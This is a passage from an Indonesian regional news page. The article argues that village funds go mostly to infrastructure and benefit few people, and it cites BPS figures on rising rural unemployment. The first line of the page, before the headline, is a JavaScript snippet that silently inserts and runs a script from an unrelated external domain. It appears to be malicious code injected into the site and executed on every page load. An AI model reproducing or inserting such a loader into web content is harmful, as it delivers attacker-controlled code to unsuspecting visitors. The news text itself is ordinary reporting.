(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Berat di Infrastruktur, Pengembangan Ekonomi Belum Tersentuh Dana Desa!


Sementara itu, ekonom dari Institute for Development of Economics and Finance (INDEF) Bhima Yudhistira Adhinegara menilai proyek yang bersumber dari dana desa kerap kali dibuat tanpa survei. Bhima mencontohkan pembangunan infrastruktur yang belum berkorelasi pada sektor pertanian. Akibatnya, penduduk di usia kerja terdorong memilih bekerja di kota, di sektor perdagangan, industri manufaktur, dan konstruksi.

Sementara pada sisi lain, kata Bhima, jumlah lapangan kerja pada sektor non-pertanian itu tak mampu menyedot banyak tenaga kerja seperti di sektor pertanian. Maka dari itu, Bhima menilai penyerapan tenaga kerja pada sektor non-pertanian tidak berjalan optimal.

Selain itu, kata Bhima, proyek yang didanai dana desa lebih sering hanya dinikmati segelintir orang di sekitar aparatur desa. Ini berakibat dana yang diharapkan bisa meningkatkan pelayanan publik, mengentaskan kemiskinan, dan memajukan perekonomian desa kembali tidak optimal.

Kondisi seperti ini yang lantas menjadi pemicu munculnya pengangguran di desa. “Saya khawatir kalau terus seperti ini, angka pengangguran di desa jumlahnya bisa terus naik. Meskipun kenaikannya sedikit demi sedikit,” katanya.

Di sisi lain, data BPS menyebutkan jumlah pengangguran di kota mengalami penurunan secara year-on-year. Pada Agustus 2017, persentasenya mencapai 6,79 persen, turun menjadi 6,45 persen pada Agustus 2018. Sebaliknya, secara year-on-year, pengangguran di desa naik tipis dari 4,01 persen menjadi 4,04 persen.

Kepala BPS Suhariyanto menyebutkan peningkatan angka pengangguran di desa itu disebabkan jumlah pekerja di sektor pertanian yang menyusut. Menurutnya, para pekerja yang hengkang itu lantas memilih pergi ke kota atau bekerja di sektor lain.

Fenomena tersebut, kata Suhariyanto, sangat berpengaruh terhadap angka pengangguran mengingat sektor pertanian masih menjadi mata pencaharian paling utama yang dijalankan masyarakat.

“Kalau ada transformasi ekonomi [karena dana desa], tenaga kerja di sektor pertanian akan berkurang. Karena apabila dilacak, di sana ada penurunan untuk jumlah petani karet dan palawija,” kata dia. (rico)


Page: 1 2

Desy Arfianty

Recent Posts

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

1 hari ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

1 hari ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

1 hari ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

1 hari ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

1 hari ago

Melati Sekumpul Juara I Gebyar Pemberdayaan Masyarakat Desa

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More

1 hari ago

This website uses cookies.